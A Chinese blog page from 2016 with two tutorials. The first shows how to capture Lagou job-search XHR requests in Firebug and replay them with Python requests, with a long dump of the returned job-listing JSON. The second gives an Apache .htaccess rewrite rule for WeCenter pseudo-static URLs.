如果想要获取全部内容,写一个循环语句就可以了。
 
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针对一些JS网页,动态网页在源码中无法看到它的内容,可以通过抓包分析出其JSON格式的数据。 网页通过通过这些JSON数据对网页的内容进行填充,然后就看到网页里显示相关的内容了。
 
使用过chrome,firefox,wireshark来抓过包,比较方便的是chrome,不需要安装第三方的其它插件,不过打开新页面的时候又要重新开一个捕捉页面,会错过一些实时的数据。 
 
wireshark需要专门掌握它自己的过滤规则,学习成本摆在那里。 
 
最好用的还是firefox+firebug第三方插件。
 
接下来以拉勾网为例。
 
打开firebug功能
 
www.lagou.com 在左侧栏随便点击一个岗位,以android为例 
 

Android招聘-招聘求职信息-拉勾网.png

 
在firebug中,需要点击“网络”选项卡,然后选择XHR。
 

post.jpg

 
Post的信息就是我们需要关注的,点击post的链接
 

post_data.jpg

 
点击了Android之后 我们从浏览器上传了几个参数到拉勾的服务器
一个是 first =true, 一个是kd = android, (关键字) 一个是pn =1 (page number 页码)
 
所以我们就可以模仿这一个步骤来构造一个数据包来模拟用户的点击动作。
post_data = {'first':'true','kd':'Android','pn':'1'}

然后使用python中库中最简单的requests库来提交数据。 而这些数据 正是抓包里看到的数据。
import requests

url = "http://www.lagou.com/jobs/posi ... ot%3B
return_data=requests.post(url,data=post_data)
print return_data.text


呐,打印出来的数据就是返回来的json数据
{"code":0,"success":true,"requestId":null,"resubmitToken":null,"msg":null,"content":{"pageNo":1,"pageSize":15,"positionResult":{"totalCount":5000,"pageSize":15,"locationInfo":{"city":null,"district":null,"businessZone":null},"result":[{"createTime":"2016-05-05 17:27:50","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1455217,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术极客云集","industryField":"移动互联网 · 企业服务","score":1372,"district":"西城区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":13,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462440470000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":6627,"pvScore":73.2258060280967,"plus":"是","businessZones":["新街口","德胜门","小西天"],"publisherId":994817,"loginTime":1462876049000,"appShow":3141,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-05 18:30:16","companyId":50889,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"和创(北京)科技股份有限公司","city":"北京","salary":"20k-35k","financeStage":"上市公司","positionId":1440576,"companyLogo":"i/image/M00/03/44/Cgp3O1ax7JWAOSzUAABS3OF0A7w289.jpg","positionFirstType":"技术","companyName":"和创科技(红圈营销)","positionAdvantage":"上市公司,持续股权激励政策,技术爆棚!","industryField":"移动互联网 · 企业服务","score":1372,"district":"海淀区","companyLabelList":["弹性工作","敏捷研发","股票期权","年底双薪"],"deliverCount":6,"leaderName":"刘学臣","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462444216000,"positonTypesMap":null,"hrScore":77,"flowScore":148,"showCount":3214,"pvScore":73.37271526202157,"plus":"是","businessZones":["双榆树","中关村","大钟寺"],"publisherId":994817,"loginTime":1462876049000,"appShow":1782,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":99,"adWord":1,"formatCreateTime":"2016-05-05","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 18:41:29","companyId":94307,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"宁波海大物联科技有限公司","city":"宁波","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1070249,"companyLogo":"image2/M00/03/32/CgqLKVXtWiuAUbXgAAB1g_5FW3Y484.png?cc=0.6152940313331783","positionFirstType":"技术","companyName":"海大物联","positionAdvantage":"一流的技术团队,丰厚的薪资回报。","industryField":"移动互联网 · 企业服务","score":1353,"district":"鄞州区","companyLabelList":["节日礼物","年底双薪","带薪年假","年度旅游"],"deliverCount":0,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462876889000,"positonTypesMap":null,"hrScore":75,"flowScore":167,"showCount":1031,"pvScore":47.6349840620252,"plus":"是","businessZones":null,"publisherId":2494230,"loginTime":1462885305000,"appShow":184,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"18:41发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:43","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1387825,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业项目。优质福利待遇+期权","industryField":"移动互联网 · 医疗健康","score":1344,"district":"江干区","companyLabelList":["年底双薪","股票期权","带薪年假","招募合伙人"],"deliverCount":5,"leaderName":"杨怡","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462874263000,"positonTypesMap":null,"hrScore":74,"flowScore":153,"showCount":1312,"pvScore":66.87818057124453,"plus":"是","businessZones":["四季青","景芳"],"publisherId":3655492,"loginTime":1462873104000,"appShow":573,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"17:57发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 13:49:47","companyId":15071,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州短趣网络传媒技术有限公司","city":"杭州","salary":"10k-20k","financeStage":"成长型(A轮)","positionId":1803257,"companyLogo":"image2/M00/0B/80/CgpzWlYYse2AJgc0AABG9iSEWAE052.jpg","positionFirstType":"技术","companyName":"短趣网","positionAdvantage":"高额项目奖金,行业内有竞争力的薪资水平","industryField":"移动互联网 · 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13:55:08","companyId":28422,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"成都品果科技有限公司","city":"北京","salary":"18k-30k","financeStage":"成长型(B轮)","positionId":290875,"companyLogo":"i/image/M00/02/F3/Cgp3O1ah7FuAbSnkAACMlcPiWXk393.png","positionFirstType":"技术","companyName":"camera360","positionAdvantage":"高大上的福利待遇、发展前景等着你哦!","industryField":"移动互联网","score":1339,"district":"海淀区","companyLabelList":["年终分红","绩效奖金","年底双薪","五险一金"],"deliverCount":6,"leaderName":"徐灏","companySize":"15-50人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":0,"imstate":"disabled","createTimeSort":1462859708000,"positonTypesMap":null,"hrScore":80,"flowScore":188,"showCount":1199,"pvScore":19.745453118211834,"plus":"是","businessZones":["中关村","北京大学","苏州街"],"publisherId":389753,"loginTime":1462866640000,"appShow":0,"calcScore":false,"showOrder":1433137697136,"haveDeliver":false,"orderBy":71,"adWord":0,"formatCreateTime":"13:55发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 17:57:55","companyId":89004,"positionName":"Android","positionType":"移动开发","workYear":"不限","education":"学历不限","jobNature":"全职","companyShortName":"温州康宁医院股份有限公司","city":"杭州","salary":"10k-20k","financeStage":"上市公司","positionId":1410975,"companyLogo":"i/image/M00/02/C2/CgqKkVabp--APWTjAACHHJJxyPc207.png","positionFirstType":"技术","companyName":"的的心理","positionAdvantage":"上市公司内部创业团队","industryField":"移动互联网 · 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09:46:32","companyId":113895,"positionName":"Android开发工程师","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"北京互动金服科技有限公司","city":"北京","salary":"15k-25k","financeStage":"成长型(不需要融资)","positionId":1473342,"companyLogo":"i/image/M00/03/D8/CgqKkVbEA_uAe1k4AAHTfy3RxPY812.jpg","positionFirstType":"技术","companyName":"互动科技","positionAdvantage":"五险一金 补充医疗 年终奖 福利津贴","industryField":"移动互联网 · O2O","score":1326,"district":"海淀区","companyLabelList":,"deliverCount":32,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462758392000,"positonTypesMap":null,"hrScore":82,"flowScore":153,"showCount":3741,"pvScore":67.01698353391613,"plus":"是","businessZones":["白石桥","魏公村","万寿寺","白石桥","魏公村","万寿寺"],"publisherId":3814477,"loginTime":1462874842000,"appShow":0,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"1天前发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 16:50:51","companyId":23999,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京智鹤电子科技有限公司","city":"长沙","salary":"8k-12k","financeStage":"成长型(A轮)","positionId":1804917,"companyLogo":"image1/M00/35/EB/CgYXBlWc5KGAVeL8AAAOi4lPhWU502.jpg","positionFirstType":"技术","companyName":"智鹤科技","positionAdvantage":"弹性工作制 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23:12:56","companyId":24287,"positionName":"android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"杭州腾展科技有限公司","city":"杭州","salary":"15k-22k","financeStage":"成熟型(D轮及以上)","positionId":1197868,"companyLogo":"image1/M00/0B/7D/Cgo8PFTzIBOAEd2dAACMq9tQoMA797.png","positionFirstType":"技术","companyName":"腾展叮咚(Dingtone)","positionAdvantage":"每半年调整薪资,今年上市!","industryField":"移动互联网 · 社交网络","score":1322,"district":"西湖区","companyLabelList":["出国旅游","股票期权","精英团队","强悍的创始人"],"deliverCount":9,"leaderName":"魏松祥(Steve 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09:38:43","companyId":19875,"positionName":"Android","positionType":"移动开发","workYear":"3-5年","education":"本科","jobNature":"全职","companyShortName":"维沃移动通信有限公司","city":"南京","salary":"12k-24k","financeStage":"初创型(未融资)","positionId":938099,"companyLogo":"image1/M00/00/25/Cgo8PFTUWH-Ab57wAABKOdLbNuw116.png","positionFirstType":"技术","companyName":"vivo","positionAdvantage":"vivo,追求极致","industryField":"移动互联网","score":1320,"district":"建邺区","companyLabelList":["年终分红","五险一金","带薪年假","年度旅游"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"2000人以上","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462844323000,"positonTypesMap":null,"hrScore":57,"flowScore":149,"showCount":981,"pvScore":72.14107985481958,"plus":"是","businessZones":["沙洲","小行","赛虹桥"],"publisherId":302876,"loginTime":1462871424000,"appShow":353,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":66,"adWord":0,"formatCreateTime":"09:38发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:49:59","companyId":20473,"positionName":"安卓开发工程师","positionType":"移动开发","workYear":"3-5年","education":"大专","jobNature":"全职","companyShortName":"广州棒谷网络科技有限公司","city":"广州","salary":"8k-15k","financeStage":"成长型(A轮)","positionId":1733545,"companyLogo":"image1/M00/0F/36/Cgo8PFT9AgGAciySAAA1THfEIAE433.jpg","positionFirstType":"技术","companyName":"广州棒谷网络科技有限公司","positionAdvantage":"五险一金 大平台 带薪休假","industryField":"电子商务","score":1320,"district":null,"companyLabelList":["项目奖金","绩效奖金","年终奖","五险一金"],"deliverCount":15,"leaderName":"大邹","companySize":"500-2000人","randomScore":0,"countAdjusted":false,"relScore":980,"adjustScore":48,"imstate":"today","createTimeSort":1462844999000,"positonTypesMap":null,"hrScore":79,"flowScore":144,"showCount":3943,"pvScore":77.78928844199473,"plus":"是","businessZones":null,"publisherId":235413,"loginTime":1462878251000,"appShow":1562,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":69,"adWord":0,"formatCreateTime":"09:49发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-04 11:41:59","companyId":87117,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"本科","jobNature":"全职","companyShortName":"南京信通科技有限责任公司","city":"南京","salary":"10k-12k","financeStage":"成长型(不需要融资)","positionId":966059,"companyLogo":"image1/M00/3F/51/CgYXBlXASfuADyOsAAA_na14zho635.jpg?cc=0.6724986131303012","positionFirstType":"技术","companyName":"联创集团信通科技","positionAdvantage":"提供完善的福利和薪酬晋升制度","industryField":"移动互联网 · 教育","score":1320,"district":"鼓楼区","companyLabelList":["节日礼物","带薪年假","补充医保","补充子女医保"],"deliverCount":4,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462333319000,"positonTypesMap":null,"hrScore":88,"flowScore":143,"showCount":3161,"pvScore":79.41660570401937,"plus":"是","businessZones":["虎踞路","龙江","西桥"],"publisherId":2230973,"loginTime":1462871511000,"appShow":711,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":41,"adWord":0,"formatCreateTime":"2016-05-04","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 09:26:58","companyId":103051,"positionName":"Android","positionType":"移动开发","workYear":"1-3年","education":"大专","jobNature":"全职","companyShortName":"浙江米果网络股份有限公司","city":"杭州","salary":"12k-22k","financeStage":"成长型(A轮)","positionId":1233873,"companyLogo":"image2/M00/10/DF/CgqLKVYwKQSAR2p4AAJAM590SJM137.png?cc=0.17502541467547417","positionFirstType":"技术","companyName":"米果小站","positionAdvantage":"充分的发展成长空间","industryField":"移动互联网","score":1320,"district":"滨江区","companyLabelList":["年底双薪","股票期权","午餐补助","五险一金"],"deliverCount":5,"leaderName":"暂没有填写","companySize":"150-500人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"disabled","createTimeSort":1462843618000,"positonTypesMap":null,"hrScore":72,"flowScore":137,"showCount":1582,"pvScore":87.93158026917071,"plus":"是","businessZones":["江南","长河","西兴"],"publisherId":2992735,"loginTime":1462889479000,"appShow":312,"calcScore":false,"showOrder":0,"haveDeliver":false,"orderBy":63,"adWord":0,"formatCreateTime":"09:26发布","totalCount":0,"searchScore":0.0},{"createTime":"2016-05-10 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文化娱乐","score":1320,"district":"蔡甸区","companyLabelList":["年底双薪","待遇优厚","专项奖金","带薪年假"],"deliverCount":18,"leaderName":"暂没有填写","companySize":"50-150人","randomScore":0,"countAdjusted":false,"relScore":1000,"adjustScore":48,"imstate":"today","createTimeSort":1462845699000,"positonTypesMap":null,"hrScore":76,"flowScore":128,"showCount":1934,"pvScore":99.6001810598155,"plus":"是","businessZones":["沌口"],"publisherId":1694134,"loginTime":1462892151000,"appShow":759,"calcScore":false,"showOrder":1433141412915,"haveDeliver":false,"orderBy":68,"adWord":0,"formatCreateTime":"10:01发布","totalCount":0,"searchScore":0.0}]}}}












在XHR中点击JSON,就可以看到浏览器返回来的数据了。 是不是跟上面使用python程序抓取的一样呢?
 

dom_data.jpg

 
是不是很简单?
 
如果想获得第2页,第3页的数据呢?
 
只需要修改pn=x 中的值就可以了。
post_data = {'first':'true','kd':'Android','pn':'2'} #获取第2页的内容

如果想要获取全部内容,写一个循环语句就可以了。
 
版权所有,转载请说明出处:www.30daydo.com
 

wecenter 伪静态规则设置 针对虚拟主机

默认分类低调的哥哥 发表了文章 • 0 个评论 • 2360 次浏览 • 2016-05-09 16:42 • 来自相关话题

不得不吐槽一下这个社区的运营的支持,做的比较弱。 缺乏足够技术文档支持,大部分需要用户自己谷歌百度去解决问题。我自己也走了不少的弯路,所以写下来帮助有需要的朋友。

对于虚拟主机(apache的主机),wecenter的伪静态链接的设置,只能通过ftp上传文件来实现。
首先创建一个.htaccess的文件,输入以下内容:<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>
然后上传到网站的根目录下,比如/var/www,然后在wecenter的后台中,进入->管理,进入全局设置->站点功能,然后开启“开启 Rewrite 伪静态” 功能就可以了。

亲测可行。 查看全部
不得不吐槽一下这个社区的运营的支持,做的比较弱。 缺乏足够技术文档支持,大部分需要用户自己谷歌百度去解决问题。我自己也走了不少的弯路,所以写下来帮助有需要的朋友。

对于虚拟主机(apache的主机),wecenter的伪静态链接的设置,只能通过ftp上传文件来实现。
首先创建一个.htaccess的文件,输入以下内容:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>

然后上传到网站的根目录下,比如/var/www,然后在wecenter的后台中,进入->管理,进入全局设置->站点功能,然后开启“开启 Rewrite 伪静态” 功能就可以了。

亲测可行。